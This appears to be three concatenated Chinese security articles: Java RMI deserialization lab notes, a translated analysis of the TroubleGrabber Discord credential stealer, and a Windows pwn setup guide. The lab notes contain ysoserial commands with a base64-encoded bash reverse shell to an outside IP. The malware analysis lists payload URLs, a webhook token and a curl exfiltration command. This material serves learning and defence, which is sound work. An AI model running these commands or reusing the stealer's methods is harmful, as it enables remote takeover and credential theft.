使用ysoserial来复现生成序列化数据，由于Vulhub使用的Java版本较新，所以选择使用的gadget是CommonsCollections5
`java -jar ysoserial.jar CommonsCollections5 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"
> poc.ser`
#### Jmeter RMI 反序列化命令执行漏洞（CVE-2018-1297）
Apache
JMeter是美国阿帕奇（Apache）软件基金会的一套使用Java语言编写的用于压力测试和性能测试的开源软件。其2.x版本和3.x版本中存在反序列化漏洞
先了解一下RMI
##### RMI
###### RMI定义
Java RMI（Java Remote Method
Invocation），即Java远程方法调用。是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。
远程方法调用是分布式编程中的一个基本思想。而RMI（Remote Method Invocation）是专为Java环境设计的远程方法调用机制
远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法。
RMI依赖的通信协议为JRMP(Java Remote Message Protocol ，Java
远程消息交换协议)，该协议为Java定制，要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。在RMI中对象是通过
**序列化** 方式进行编码传输的。
###### RMI交互图
###### RMI Demo
**定义一个远程接口**
package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IUser extends Remote {
public void setName(String name) throws RemoteException;
public String getName() throws RemoteException;
}
IUser是客户端和服务端共用的接口，客户端本地必须有远程对象的接口，不然无法指定要调用的方法。
远程接口必须继承Remote，而且所有参数和返回类型都必须可以序列化(因为需要网络传输)，任意远程对象都需要实现该接口且只有远程接口中指定的方法可以被调用。
**定义远程接口实现类即远程对象**
package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class User extends UnicastRemoteObject implements IUser {
protected User() throws RemoteException {
//UnicastRemoteObject.exportObject(this,0);
}
private String name;
public String getName() throws RemoteException{
return name;
}
public void setName(String name) throws RemoteException{
this.name=name;
}
}
需要继承UnicastRemoteObject类，才表明其可以作为远程对象，被注册到注册表中供客户端远程调用。
如果不继承UnicastRemoteObject类，则需要手工初始化远程对象，在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法
**RMI注册表**
Server端注册了一个远程对象后，JVM随机监听一个端口
Client端并不知道Server远程对象的通信端口，但是Stub中包含了这些信息，并封装了底层网络操作；
Client端可以调用Stub上的方法；
Stub连接到Server端监听的通信端口并提交参数；
远程Server端上执行具体的方法，并返回结果给Stub；
Stub返回执行结果给Client端，从Client看来就好像是Stub在本地执行了这个方法一样；
那怎么获取Stub呢？
常见的方法是调用某个远程服务上的方法，向远程服务获取Stub。但是调用远程方法又必须先有远程对象的Stub，所以这里有个死循环问题。JDK提供了一个RMI注册表（RMIRegistry）来解决这个问题。RMIRegistry也是一个远程对象，默认监听在1099端口
使用RMI Registry之后，RMI的调用关系是这样的
所以其实从客户端角度看，服务端应用是有两个端口的，一个是RMI Registry端口（默认为1099），另一个是远程对象的通信端口（随机分配的）
**服务端**
package RMI;
import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.*;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
User user=new User();//创建一个远程对象
Registry registry = LocateRegistry.createRegistry(1099);//本地主机上的远程对象注册表Registry的实例,默认端口1099
registry.bind("user", user);//把远程对象注册到RMI注册服务器上,并命名为user
System.out.println("server ready...");
}
}
**客户端**
package RMI;
import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.*;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
Registry registry = LocateRegistry.getRegistry("localhost",1099);
IUser user = (IUser)registry.lookup("user");// 从Registry中检索远程对象的存根/代理
user.setName("leixiao");// 调用远程对象的方法
System.out.println(user.getName());
}
}
LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理，从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象，然后客户端向RMI注册表查询某个远程对象名称，来获取该远程对象的Stub
客户端lookup找到的对象，只是该远程对象的Stub(存根对象)，而服务端的对象有一个对应的骨架Skeleton(用于接收客户端stub的请求，以及调用真实的对象)对应，Stub是远程对象的客户端代理，Skeleton是远程对象的服务端代理，他们之间协作完成客户端与服务器之间的方法调用时的通信
##### 漏洞复现
这样便在服务器的1099端口开启了RMI服务
直接使用ysoserial即可进行利用，这里用的是BeanShell1这条gadget
`java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 39.107.111.xxx
1099 BeanShell1 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"`
RMIRegistryExploit会在本地起RMIClient与服务端进行通信并且传入恶意的序列化数据
## 演示源码和参考链接
### 源码
[Java反序列化漏洞学习笔记源码](https://github.com/l3yx/javaDeserializeNotes)
### 参考链接
[JMX超详细解读](https://www.cnblogs.com/dongguacai/p/5900507.html)
[深入理解JNDI注入与Java反序列化漏洞利用](https://security.tencent.com/index.php/blog/msg/131)
[理解Java RMI 一篇就够](https://www.jianshu.com/p/5c6f2b6d458a)
[JAVA RMI 原理和使用浅析](https://blog.csdn.net/qq_28081453/article/details/83279066)
[java RMI原理详解](https://www.cnblogs.com/handsomeye/p/6514026.html)
[深入理解 JAVA 反序列化漏洞](https://paper.seebug.org/312/)
[Java反序列化漏洞从入门到深入](https://xz.aliyun.com/t/2041)
[Java反序列化漏洞的原理分析](https://www.freebuf.com/vuls/170344.html)
[Java反序列化漏洞从无到有](https://www.freebuf.com/column/155381.html)
[Java 反射 -超详细讲解（附源码）](https://blog.csdn.net/lililuni/article/details/83449088)
[Java反序列化漏洞分析](https://xz.aliyun.com/t/136)
[JBoss 5.x/6.x
反序列化漏洞](https://vulhub.org/#/environments/jboss/CVE-2017-12149/)
[Jmeter RMI
反序列化命令执行漏洞](https://vulhub.org/#/environments/jmeter/CVE-2018-1297/) | 社区文章 |
**原文链接：<https://www.netskope.com/blog/here-comes-troublegrabber-stealing-credentials-through-discord>**
**译者：知道创宇404实验室翻译组**
### 前言
TroubleGrabber是一种新的凭证窃取恶意软件，它通过Discord的附件传播，并使用Discord消息将窃取的凭证传回给攻击者。虽然它在功能上与[AnarchyGrabber](https://www.bleepingcomputer.com/news/security/discord-client-turned-into-a-password-stealer-by-updated-malware/
"AnarchyGrabber")有一些相似之处，但实现方式不同。TroubleGrabber是一个名叫“Itroublve”的人写的，目前被多个攻击者用来针对Discord的受害者。
该恶意软件主要通过drive-by下载，窃取web浏览器令牌、Discord
webhook令牌、web浏览器密码和系统信息。此信息通过webhook作为聊天消息发送到攻击者的Discord服务器。
我们在2020年10月为我们之前的博客文章[《Leaky Chats: Accidental Exposure and Malware in Discord
Attachments》](https://www.netskope.com/blog/leaky-chats-accidental-exposure-and-malware-in-discord-attachments "《Leaky Chats: Accidental Exposure and
Malware in Discord Attachments》")研究公共Discord附件时发现了TroubleGrabber。
### 发现
仅在2020年10月，我们就确定了5700多个公共Discord附件URL，这些URL托管着恶意内容，它们主要以Windows可执行文件和存档的形式存在。同时，我们在恶意软件数据库中扫描了包含Discord
URL的样本，这些URL被用作下一阶段的有效负载或C2。
图1显示了同一时间段内1650个恶意软件样本的前五个检测结果，这些恶意软件样本都是从Discord传递的，并且还包含Discord url。
图1：排名前五位的检测
这些检测与两组不同的恶意软件有关。
* **GameHack** – Gen：Variant.Mikey.115607，Trojan.GenericKD.43979330是流行游戏的补丁或破解版本。与这些检测相关的所有文件都是通过Discord交付的。
* **TroubleGrabber** – Gen：Variant.Razy.742965和Gen：Variant.Razy.728469是Gen：Variant.Razy.729793的第一阶段有效负载，这是我们在2020年10月之前从未见过的新恶意软件变体。与这些检测相关的文件使用Discord进行恶意软件交付、下一阶段有效负载和C2通信。
### 攻击描述
TroubleGrabber攻击的可视化描述如图2所示。
图2:TroubleGrabber攻击
图2中的描述说明了以下步骤：
* 通过Discord附件链接将TroubleGrabber发送到受害者的机器。
* TruoubleGrabber使用Discord和Github将下一阶段的有效载荷下载到受害者的机器上。
* 有效负载会窃取受害者的凭证，例如系统信息，IP地址，Web浏览器密码和令牌。然后，它通过Webhook URL将它们作为聊天消息发送回攻击者。
### TroubleGrabber分析
我们用于分析的示例托管在Discord
URL中——https://cdn[.]discordapp[.]com/attachments/770854312020410388/770854941614014504/Discord_Nitro_Generator_and_Checker.rar
(md5 –
172c6141eaa2a9b09827d149cb3b05ca)。下载的存档文件`Discord_Nitro_Generator_and_Checker.rar`伪装成Discord
Nitro Generator应用程序。存档包含一个名为`Discord Nitro
Generator`和`Checker.exe`的可执行文件。图3显示了反编译代码的摘录。
图3：Discord Nitro Generator和Checker.exe的反编译代码
图3演示了可执行文件从Discord和Github中托管的7个url下载下一阶段的有效负载到`C:/temp`，如下所示。
https://cdn[.]discordapp[.]com/attachments/773838254905622541/773838310610829312/Token_Stealer[.]bat
https://raw[.]githubusercontent[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/master/AVOID%20ME/tokenstealer[.]vbs
https://raw[.]githubusercontent[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/master/AVOID%20ME/tokenstealer2[.]vbs
https://github[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/master/AVOID%20ME/WebBrowserPassView[.]exe?raw=true
https://raw[.]githubusercontent[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/master/AVOID%20ME/curl-ca-bundle[.]crt
https://github[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/master/AVOID%20ME/curl[.]exe?raw=true
https://cdn[.]discordapp[.]com/attachments/773838254905622541/773838305497186304/sendhookfile[.]exe
curl.exe，Curl-ca-bundle.crt，WebBrowserPassView.exe，tokenstealer.vbs，Tokenstealer2.vbs，Tokenstealer.bat和sendhookfile.exe的功能如下：
#### Curl.exe
Curl.exe是一个命令行工具，用于通过多种受支持的协议上传，下载和发布数据。该恶意软件使用curl命令通过webhook发布受害者信息的状态消息，如下所示：
C:/temp/curl -X POST -H "Content-type: application/json" --data "{\"content\": \"**INJECTION STARTED!**\"}" Webhook
#### Curl-ca-bundle.crt
Curl-ca-bundle.crt是curl用于与远程服务器进行验证的证书。Curl通过使用文件Curl -ca-bundle中提供的公共证书颁发机构来执行SSL证书验证。crt用于上传、下载和发布数据。
#### WebBrowserPassView.exe
WebBrowserPassView.exe是Nirsoft的密码恢复实用程序，用于显示保存在Web浏览器中的密码。该实用程序曾被攻击者用来窃取存储的密码并将其发送回C2。TroubleGrabber使用WebBrowserPassView.exe进行相同的操作。
#### Tokenstealer.vbs
Tokenstealer.vbs是一个Visual
Basic脚本，它从受感染的主机中提取信息，包括产品名称、产品ID和产品密钥，并将其保存在`C:\temp\WindowsInfo.txt`位置。
#### Tokenstealer2.vbs
Tokenstealer2.vbs是一个Visual
Basic脚本，它执行在`C:\temp\finalres.bat`位置中存在的文件。Finalres.bat是tokenstealer.bat的重命名文件。
#### Tokenstealer.bat
Tokenstealer.bat是执行以下操作的批处理文件。
* 使用https://myexternalip.com/raw查询受害者的外部IP地址，并将其保存到`C:\temp\ip_address.txt`位置
* 将WebBrowserPassView.exe与`stext`开关一起使用，以显示保存在所有受害者的Web浏览器中的密码，并将其保存到`C:/temp/Passwords.txt`位置
* 使用Windows系统信息与开关'findstr'和wmic命令查找“域”、“OS名称”、“OS版本”、“系统制造商”、“系统型号”、“系统类型”、“总物理内存”、“磁盘驱动器”、“硬盘驱动器空间”、“序列号”和“cpu名称”，并将其保存到位置`C:\temp\System_INFO.txt`
* 通过webhook将用户名、时间和日期、IP地址、SystemInfo、Discord、PTB和Canary令牌的curl执行到攻击者的Discord服务器
* 从位置`C:\temp\`使用开关–processStart执行filed.exe和customeExe.exe
* 通过使用taskkill和开关`/f/im`，强制杀死Discord.exe，DiscordCanary.exe和DiscordPTB.exe，然后重新启动它们
* 使用带有开关`/f/q`的del命令删除文件ip_address.txt，WindowsInfo.txt，Passwords.txt，curl-ca-bundle.crt，curl.exe和CustomEXE.exe
* 使用shutdown命令在30秒内关闭并重新启动计算机
#### Sendhookfile.exe
Sendhookfile.exe是一个可执行文件，可从Web浏览器和本机Discord应用程序中窃取令牌并将其发布到Discord Webhook
URL，即`https://discord[.]com/api/webhooks/770853687592878092/Tt_nUInR-OAYwvSoRbXXJfArRFgMMFTweKLmgJDnS-YyAahH7gKiRCmwE_aG1gIbL0mX`，如图4所示。
图4：sendhookfile.exe的反编译代码
### 执行问题
在我们的分析过程中，可执行文件在我们的沙盒环境中崩溃，如图5所示。
图5：Discord Nitro Generator和Checker.exe崩溃
对于我们在分析测试环境中执行的其他几个二进制文件，也看到了相同的崩溃消息。可执行文件崩溃是因为二进制文件是在不支持TLS
1.2的[情况](https://blogs.perficient.com/2016/04/28/tsl-1-2-and-net-support/
"情况")下编译的，而TLS 1.2在.NET 4.5框架中默认情况下不支持。.NET 4.6及更高版本默认情况下支持此功能。
执行后，恶意软件将二进制文件下载到位置`C:\temp`，如图6所示。
图6：下一阶段的有效负载下载到`C:\temp`位置
该恶意软件还通过Webhooks作为聊天消息发送了所有受害者的凭据，如图7所示。
图7：凭据通过Webhooks作为聊天消息发送
### Github帐户– Itroublve
`Discord Nitro Generator and
Checker.exe`从Github用户Itroublve在存储库`https://github[.]com/Itroublve/Token-Browser-Password-Stealer-Creator`中下载了五个下一阶段的有效负载，如图8所示。
图8：令牌浏览器密码创建者的Github存储库
我们从`https://github.com/Itroublve/Token-Browser-Password-Stealer-Creator/releases/tag/5.1`位置下载了最新版本`ItroublveTSC V5.1`。该软件包包含恶意软件的生成器及其组件。
### ItroublveTSC_V5.1
该软件包包含一个名为`ItroublveTSC.exe`的可执行文件，该可执行文件用于生成恶意软件及其组件，如图9所示。
图9：ItroublveTSC V5.1
生成器工作如下：
发电机的工作原理如下：
* 用户在`Webhook Here`部分提供他们的Webhook令牌，并单击`Create Stealer Files`复选框。这将生成两个文件，即`sendhookfile.exe`和`Token Stealer.bat`在`ItroublveTSC_V5.1\output`位置。
* 用户上传`sendhookfile.exe`和`Token Stealer.bat`到任何文件共享应用程序，并将链接粘贴到生成器中。
* 用户还可以输入假消息框，添加自定义图标，输入文件详细信息，并选择其他选项，包括`Crash PC`、`Auto Remove EXE`、`Restart Discord`、`Restart PC`、`ShutdownPC`和`Custom EXE`。
* 用户点击`Create Stealer`来生成一个名为`Token Stealer.exe`的文件。在`ItroublveTSC_V5.1`文件夹。
在撰写本文时，生成器中的information选项指向网页https://itroublvehacker[.]ml/howtousev5，没有响应。
我们将TLS 1.2支持添加到二进制代码编译的源代码中，如图10中main()函数的第二行所示，以避免上面提到的执行问题。
图10：ItroublveTSC_V5.1的源代码
### Itroublve – OSINT
该恶意软件的原始作者Ithoublve将其绰号粘贴到了生成器和恶意软件中。通过开源情报（OSINT）分析，我们确定了Discord服务器，Facebook页面，Twitter，Instagram，网站，电子邮件地址和YouTube频道的“Itroublve”。Itroublve在Facebook的一篇帖子中提到YouTube频道已终止，因此创建了一个新频道。在撰写本文时，Itroublve的Discord服务器具有573个成员，如图11所示。
图11：Itroublve的Discord服务器
YouTube页面包含ItroublveTSC生成器用法的演示，其中Itroublve演示了如何将文件`Token
Stealer.bat`和`Sendhookfile.exe`上载到Discord，并生成公共链接以进入复选框，如图12所示。
图12：为“Token Stealer.bat”和“Sendhookfile.exe”生成公共链接
我们的分析表明，很多黑客都遵循了这个确切的教程，这从用于托管生成的恶意软件的不同Discord服务器的数量中可以明显看出。
### 观察结果
TroubleGrabber是恶意软件的最新示例，该恶意软件在攻击的每个阶段都滥用云应用程序。具体来说，TroubleGrabber使用四种常用技术：
* **使用云应用进行首次交付** ——攻击者选择了可能被其目标广泛使用的云应用。
* **使用云应用程序进行下一阶段的有效负载交付** ——攻击者越来越多地使用云应用程序来下载第二个有效负载，再次使用在其目标中很流行并因此有可能被允许的应用程序。
* **使用云应用程序进行命令和控制** ——像初始交付和下一阶段的有效负载交付一样，使用在目标中最受欢迎的应用程序可以帮助攻击者逃避检测。
* **窃取云应用程序凭据** ——这可能意味着用户名和密码或令牌可能被盗。凭证被盗的原因多种多样，包括监视受害者或从受害者帐户发起其他攻击。
TroubleGrabber与其他密码和令牌盗窃者组织有相似之处，比如[AnarchyGrabber](https://www.bleepingcomputer.com/news/security/discord-client-turned-into-a-password-stealer-by-updated-malware/
"AnarchyGrabber")，一种窃取密码和用户令牌，禁用2FA，并将恶意软件传播到受害者的Discord服务器的恶意软件。
我们确定了1000多个生成的二进制文件，这些二进制文件是通过驱动下载URL分发的，这些文件名伪装成游戏作弊、不和谐安装程序和软件漏洞。图13显示该文件主要是通过Discord分发的，少量文件是通过anonfiles.com和onymousfiles.io分发的，这些服务允许用户匿名上传文件并免费生成公共下载链接。
图13：TroubleGrabber驱动下载URL
除此之外，我们还确定了从700多个不同的Discord服务器通道ID的恶意软件。
### 结论
TroubleGrabber，一种新的凭据窃取程序，是攻击者使用云应用程序滥用用户在这些应用程序中放置的信任并逃避检测的趋势的又一个示例。该恶意软件使用Discord和Github交付下一阶段的有效负载，并使用Discord
Webhooks作为C2发送受害者凭证。
与TroubleGrabber相关的危害指标（IOC）可在Github上获得–
<https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/TroubleGrabber>。
* * * | 社区文章 |
# Windows Pwn 学习之路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
近期的比赛中已经出现了很多和Windows pwn有关的题目，因此，本着学习的态度这里将总结我学习Windows Pwn中的学习历程。
本文主要介绍了`Windows Pwn`中环境的搭建以及一些新的机制，辅以部分例题帮助理解。
## 0x02 环境搭建
### 优化Powershell显示
> 优化步骤使用@Lulus的知乎专栏
如果你不喜欢原有的`powershell`显示风格，你可以运行下列命令来更换其显示风格：
iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
choco feature enable -n allowGlobalConfirmation
choco install git
Install-Module posh-git
Install-Module oh-my-posh
Install-Module -Name PSReadLine -Force -SkipPublisherCheck
Install-Module Get-ChildItemColor -AllowClobber
Install-Module WindowsConsoleFonts
if (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force }
@"
#requires -Version 2 -Modules posh-git
function Write-Theme {
param(
[bool]
`$lastCommandFailed,
[string]
`$with
)
`$lastColor = `$sl.Colors.PromptBackgroundColor
`$prompt = Write-Prompt -Object `$sl.PromptSymbols.StartSymbol -ForegroundColor `$sl.Colors.PromptForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
#check the last command state and indicate if failed
If (`$lastCommandFailed) {
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.FailedCommandSymbol) " -ForegroundColor `$sl.Colors.CommandFailedIconForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
}
#check for elevated prompt
If (Test-Administrator) {
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.ElevatedSymbol) " -ForegroundColor `$sl.Colors.AdminIconForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
}
`$user = [System.Environment]::UserName
`$computer = [System.Environment]::MachineName
`$path = Get-FullPath -dir `$pwd
if (Test-NotDefaultUser(`$user)) {
`$prompt += Write-Prompt -Object "`$user@`$computer " -ForegroundColor `$sl.Colors.SessionInfoForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
}
if (Test-VirtualEnv) {
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.SessionInfoBackgroundColor -BackgroundColor `$sl.Colors.VirtualEnvBackgroundColor
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.VirtualEnvSymbol) `$(Get-VirtualEnvName) " -ForegroundColor `$sl.Colors.VirtualEnvForegroundColor -BackgroundColor `$sl.Colors.VirtualEnvBackgroundColor
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.VirtualEnvBackgroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor
}
else {
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.SessionInfoBackgroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor
}
# Writes the drive portion
`$prompt += Write-Prompt -Object "`$path " -ForegroundColor `$sl.Colors.PromptForegroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor
`$status = Get-VCSStatus
if (`$status) {
`$themeInfo = Get-VcsInfo -status (`$status)
`$lastColor = `$themeInfo.BackgroundColor
`$prompt += Write-Prompt -Object `$(`$sl.PromptSymbols.SegmentForwardSymbol) -ForegroundColor `$sl.Colors.PromptBackgroundColor -BackgroundColor `$lastColor
`$prompt += Write-Prompt -Object " `$(`$themeInfo.VcInfo) " -BackgroundColor `$lastColor -ForegroundColor `$sl.Colors.GitForegroundColor
}
# Writes the postfix to the prompt
`$prompt += Write-Prompt -Object `$sl.PromptSymbols.SegmentForwardSymbol -ForegroundColor `$lastColor
`$timeStamp = Get-Date -UFormat %r
`$timestamp = "[`$timeStamp]"
`$prompt += Set-CursorForRightBlockWrite -textLength (`$timestamp.Length + 1)
`$prompt += Write-Prompt `$timeStamp -ForegroundColor `$sl.Colors.PromptForegroundColor
`$prompt += Set-Newline
if (`$with) {
`$prompt += Write-Prompt -Object "`$(`$with.ToUpper()) " -BackgroundColor `$sl.Colors.WithBackgroundColor -ForegroundColor `$sl.Colors.WithForegroundColor
}
`$prompt += Write-Prompt -Object (`$sl.PromptSymbols.PromptIndicator) -ForegroundColor `$sl.Colors.PromptBackgroundColor
`$prompt += ' '
`$prompt
}
`$sl = `$global:ThemeSettings #local settings
`$sl.PromptSymbols.StartSymbol = ''
`$sl.PromptSymbols.PromptIndicator = [char]::ConvertFromUtf32(0x276F)
`$sl.PromptSymbols.SegmentForwardSymbol = [char]::ConvertFromUtf32(0xE0B0)
`$sl.Colors.PromptForegroundColor = [ConsoleColor]::White
`$sl.Colors.PromptSymbolColor = [ConsoleColor]::White
`$sl.Colors.PromptHighlightColor = [ConsoleColor]::DarkBlue
`$sl.Colors.GitForegroundColor = [ConsoleColor]::Black
`$sl.Colors.WithForegroundColor = [ConsoleColor]::DarkRed
`$sl.Colors.WithBackgroundColor = [ConsoleColor]::Magenta
`$sl.Colors.VirtualEnvBackgroundColor = [System.ConsoleColor]::Red
`$sl.Colors.VirtualEnvForegroundColor = [System.ConsoleColor]::White
"@>"C:Program FilesWindowsPowerShellModulesoh-my-posh2.0.443ThemesParadox.psm1"
@"
chcp 65001
Set-PSReadlineOption -EditMode Emacs
function which(`$name) { Get-Command `$name | Select-Object Definition }
function rmrf(`$item) { Remove-Item `$item -Recurse -Force }
function mkfile(`$file) { "" | Out-File `$file -Encoding ASCII }
Import-Module posh-git
Import-Module oh-my-posh
Import-Module Get-ChildItemColor
Import-Module WindowsConsoleFonts
Set-Alias l Get-ChildItemColor -option AllScope
Set-Alias ls Get-ChildItemColorFormatWide -option AllScope
Set-Theme Paradox
"@ > $PROFILE
chcp 65001
Set-PSReadlineOption -EditMode Emacs
Import-Module posh-git
Import-Module oh-my-posh
Import-Module Get-ChildItemColor
Import-Module WindowsConsoleFonts
Set-Alias l Get-ChildItemColor -option AllScope
Set-Alias ls Get-ChildItemColorFormatWide -option AllScope
Set-Theme Paradox
git clone https://github.com/powerline/fonts.git
cd .fonts
.install.ps1
cd ..
del .fonts -Recurse -Force
**⚠️：`Line 92`需要修改为你的本地正确地址！**
在那之后，修改`Powershell -> 首选项 -> 字体`
在那之后，修改`Powershell -> 首选项 -> 颜色 -> 屏幕背景`
### 配置Python2以及Python3环境
配置方法及过程此处不再赘述，但是注意，若因为优化了`PowerShell`而导致了`LookupError: unknown encoding:
cp65001`，则需要添加一个环境变量：
### 安装winpwn
`winpwn`更类似于`pwntools`，用于本地的程序调试以及连接远程。
使用以下命令安装`winpwn`这个包，并且安装相关依赖：
pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone
### 安装winchecksec
`winchecksec`更类似于`checksec`，用于`Windows`程序的保护检查。
使用以下命令安装`winchecksec`，并且安装相关依赖：
vcpkg install pe-parse:x86-windows
vcpkg install pe-parse:x64-windows
vcpkg install uthenticode:x86-windows
vcpkg install uthenticode:x64-windows
git clone https://github.com/trailofbits/winchecksec.git
cd winchecksec
mkdir build
cd build
cmake ..
cmake --build . --config Release
**⚠️注意：这里首先需要安装`vcpkg`作为核心依赖项**，可以使用如下方法安装：
git clone https://github.com/Microsoft/vcpkg.git
cd vcpkg
.vcpkg.exe integrate install
这里需要特别注意，如果在执行`.bootstrap-vcpkg.bat`时发生`error MSB8040: 此项目需要缓解了 Spectre 漏洞的库。从
Visual Studio 安装程序(单个组件选项卡)为正在使用的任何工具集和 体系结构安装它们。了解详细信息:
https://aka.ms/Ofhn4`则需要打开`VisualStudio 2019 -> 修改 ->
单个组件`找到`编译器、生成工具和运行时`选项组，勾选安装 **最新版本** 的带`Spectre 漏洞`缓解的相关运行库。
⚠️注意：使用`vcpkg`安装结束后需要进行环境变量的配置：
### 配置调试器
在`Windows`下，我们常用的调试器有：`x64dbg`、`Windbg(Windows 10)`、`gdb`、`WindbgX(Windbg
Preview)`。
1. 对于`x64dbg`，直接从 <https://x64dbg.com/> 下载即可。
2. 对于`Windbg(Windows 10)`，需要先安装`Windows SDK`(可通过`Visual Studio`来进行安装)，然后在应用和功能处修改添加。
3. 对于`GDB`，需要通过[`MinGW-w64`](https://sourceforge.net/projects/mingw-w64/)来进行安装。
4. 对于`WindbgX(Windbg Preview)`需要通过微软应用商店下载。
5. 对于以上所有的工具，为了能用`winpwntools`直接唤起，需要进行额外配置，首先下载[`Pykd-Ext`](https://github.com/hac425xxx/pykd-ext/releases/tag/pykd_ext_2.0.0.24)，需要注意的是，`Pykd-Ext`和`Pykd`是不同的两个插件。将下载下来的两个`dll`分别放置在正确的位置。在`$HOME`文件夹下建立文件`.winpwn`，内容如下：
{
"debugger":{
"i386": {
"x64dbg": "C:\Program Files (x86)\x64debug\release\x32\x32dbg.exe",
"gdb": "",
"windbg": "C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\windbg.exe",
"windbgx": "C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\WinDbgX.exe"
},
"amd64": {
"x64dbg": "C:\Program Files (x86)\x64debug\release\x64\x64dbg.exe",
"gdb": "",
"windbg": "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe",
"windbgx": "C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\WinDbgX.exe"
}
},
"debugger_init": {
"i386": {
"x64dbg": "",
"gdb": "",
"windbg": ".load C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\ext\pykd.dll;!py -g C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\byinit.py;",
"windbgx": ".load C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext32\pykd.dll;!py -g C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext32\byinit.py;"
},
"amd64": {
"x64dbg": "",
"gdb": "",
"windbg": ".load C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\pykd.dll;!py -g C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\byinit.py;",
"windbgx": ".load C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext64\pykd.dll;!py -g C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext64\byinit.py;"
}
}
}
⚠️：路径请自行调整。
## 0x03 Windows Pwn 基本知识
### 函数调用约定
1. 由于函数调用约定大多只和架构相关，因此和`Linux`相比没有太大的变化。
### `Windows`程序保护
`Windows`下有部分程序保护更换了名字或者有一些细节发生了改变，我们来详细列举。
1. `ASLR`：与`Linux`相同，`ASLR`保护指的是地址随机化技术(`Address Space Layout Randomization`)，这项技术将在程序启动时将`DLL`随机的加载到内存中的位置，这将缓解恶意程序的加载。`ASLR`技术自`Windows 10`开始已经在系统中被配置为默认启用。
2. `High Entropy VA`：这个保护被称为高熵64位地址空间布局随机化，一旦开启，表示此程序的地址随机化的取值空间为`64 bit`，这会导致攻击者更难去推测随机化后的地址。
3. `Force Integrity`：这个保护被称为强制签名保护，一旦开启，表示此程序加载时需要验证其中的签名，如果签名不正确，程序将会被阻止运行。
4. `Isolation`：这个保护被称为隔离保护，一旦开启，表示此程序加载时将会在一个相对独立的隔离环境中被加载，从而阻止攻击者过度提升权限。
